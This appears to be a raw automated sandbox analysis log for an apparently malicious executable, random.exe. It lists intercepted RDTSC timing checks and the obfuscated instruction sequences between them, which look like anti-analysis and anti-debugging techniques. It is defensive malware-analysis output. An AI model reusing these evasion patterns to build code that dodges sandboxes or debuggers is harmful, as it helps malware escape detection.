Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EB39A second address: 9EB39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EB39E second address: 9EB3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9ED0E7 second address: 9ED0EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9ED0EB second address: 9ED0F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9ED0F1 second address: 9ED0F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EE14B second address: 9EE151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9ED2D5 second address: 9ED368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FAC0CE0F761h 0x0000000d push ecx 0x0000000e jne 00007FAC0CE0F756h 0x00000014 pop ecx 0x00000015 popad 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+1247639Ah] 0x0000001d push dword ptr fs:[00000000h] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007FAC0CE0F758h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 cmc 0x00000046 call 00007FAC0CE0F768h 0x0000004b mov dword ptr [ebp+122D2839h], edx 0x00000051 pop edi 0x00000052 mov eax, dword ptr [ebp+122D0E35h] 0x00000058 xor bl, FFFFFF86h 0x0000005b push FFFFFFFFh 0x0000005d push edx 0x0000005e mov ebx, dword ptr [ebp+122D27D1h] 0x00000064 pop edi 0x00000065 push eax 0x00000066 jl 00007FAC0CE0F760h 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F0125 second address: 9F0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F0129 second address: 9F012D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EF2D2 second address: 9EF354 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c jne 00007FAC0CEEBFA2h 0x00000012 nop 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+12446983h], eax 0x00000020 mov ebx, edx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007FAC0CEEBF98h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 cmc 0x00000044 mov bh, cl 0x00000046 mov dword ptr [ebp+122D19C7h], edi 0x0000004c mov eax, dword ptr [ebp+122D12C9h] 0x00000052 movsx ebx, di 0x00000055 push FFFFFFFFh 0x00000057 add ebx, dword ptr [ebp+122D2CF0h] 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jng 00007FAC0CEEBF9Ch 0x00000066 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EF354 second address: 9EF35A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EF35A second address: 9EF35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F138C second address: 9F13A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007FAC0CE0F75Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F13A3 second address: 9F1444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAC0CEEBF96h 0x0000000a popad 0x0000000b pop edx 0x0000000c nop 0x0000000d or dword ptr [ebp+122D34DBh], esi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FAC0CEEBF98h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jmp 00007FAC0CEEBF9Eh 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov bh, 59h 0x00000042 add dword ptr [ebp+122D19F0h], ebx 0x00000048 mov eax, dword ptr [ebp+122D0835h] 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push eax 0x00000053 call 00007FAC0CEEBF98h 0x00000058 pop eax 0x00000059 mov dword ptr [esp+04h], eax 0x0000005d add dword ptr [esp+04h], 00000019h 0x00000065 inc eax 0x00000066 push eax 0x00000067 ret 0x00000068 pop eax 0x00000069 ret 0x0000006a je 00007FAC0CEEBF96h 0x00000070 ja 00007FAC0CEEBF9Bh 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a jnc 00007FAC0CEEBF96h 0x00000080 jl 00007FAC0CEEBF96h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F1444 second address: 9F144B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9F43C5 second address: 9F43DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC0CEEBF9Eh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FAEC5 second address: 9FAEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9907A4 second address: 9907C2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAC0CEEBF9Eh 0x00000008 jnl 00007FAC0CEEBF96h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FAC0CEEBF96h 0x00000018 jng 00007FAC0CEEBF96h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FA814 second address: 9FA847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 jmp 00007FAC0CE0F75Bh 0x0000000b pop ecx 0x0000000c push eax 0x0000000d je 00007FAC0CE0F756h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007FAC0CE0F75Ch 0x0000001f jnp 00007FAC0CE0F762h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FA847 second address: 9FA851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAC0CEEBF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FA99D second address: 9FA9A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FA9A5 second address: 9FA9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9FFDCB second address: 9FFDCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A062ED second address: A062F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAC0CEEBF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A05034 second address: A0504E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007FAC0CE0F761h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A05676 second address: A0567C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A05820 second address: A05828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A05AC2 second address: A05AD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAC0CEEBF9Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A05AD6 second address: A05AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAC0CE0F756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0602E second address: A06033 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A10527 second address: A1052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1052B second address: A1053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FAC0CEEBFA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1053B second address: A10541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A10541 second address: A10557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FAC0CEEBF9Ch 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A10557 second address: A1056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F761h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1056D second address: A10581 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC0CEEBF98h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FAC0CEEBF96h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F0C2 second address: A0F0D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F27B second address: A0F27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F27F second address: A0F293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FAC0CE0F756h 0x0000000e jc 00007FAC0CE0F756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F3D9 second address: A0F3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F3DD second address: A0F3FD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAC0CE0F763h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F3FD second address: A0F41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F41F second address: A0F425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0F692 second address: A0F69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAC0CEEBF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0FAA3 second address: A0FAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0FAA9 second address: A0FAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAC0CEEBF96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A0FAB5 second address: A0FAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FAC0CE0F756h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007FAC0CE0F75Bh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FAC0CE0F766h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1039D second address: A103A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A103A1 second address: A103AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A13DF0 second address: A13E0E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC0CEEBF96h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC0CEEBFA0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A13E0E second address: A13E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F767h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A13E31 second address: A13E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A13E47 second address: A13E6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FAC0CE0F756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FAC0CE0F75Ch 0x00000012 pop edi 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A15540 second address: A1555A instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAC0CEEBF9Bh 0x0000000f popad 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1555A second address: A15564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1AF24 second address: A1AF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A19F07 second address: A19F1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A19F1D second address: A19F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FAC0CEEBF96h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A38A second address: A1A3A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F763h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A3A1 second address: A1A3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A7EF second address: A1A7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A960 second address: A1A967 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A967 second address: A1A970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1A970 second address: A1A974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D84C5 second address: 9D84CF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D84CF second address: 9D84D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D84D5 second address: 9D84D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D86B8 second address: 9D86C2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D8951 second address: 9D8956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D8956 second address: 9D8961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FAC0CEEBF96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D8CF5 second address: 9D8CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D8CF9 second address: 9D8D07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FAC0CEEBF9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D940D second address: 9D9411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1E77E second address: A1E7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC0CEEBFA4h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC0CEEBFA1h 0x00000015 jnc 00007FAC0CEEBF96h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1E7B4 second address: A1E810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Ah 0x00000007 jmp 00007FAC0CE0F75Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FAC0CE0F75Eh 0x00000013 jl 00007FAC0CE0F774h 0x00000019 jmp 00007FAC0CE0F768h 0x0000001e jnp 00007FAC0CE0F756h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FAC0CE0F760h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1E990 second address: A1E99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1E99E second address: A1E9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1E9A4 second address: A1E9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FAC0CEEBF96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1ED83 second address: A1ED96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1ED96 second address: A1ED9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1ED9C second address: A1EDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1EDA0 second address: A1EDAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1F024 second address: A1F030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jg 00007FAC0CE0F756h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1F030 second address: A1F034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1F034 second address: A1F06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F766h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAC0CE0F763h 0x00000016 jo 00007FAC0CE0F756h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1F06F second address: A1F098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA4h 0x00000007 jmp 00007FAC0CEEBFA1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A1F098 second address: A1F09E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2239D second address: A223A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A24A97 second address: A24A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A24A9B second address: A24AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
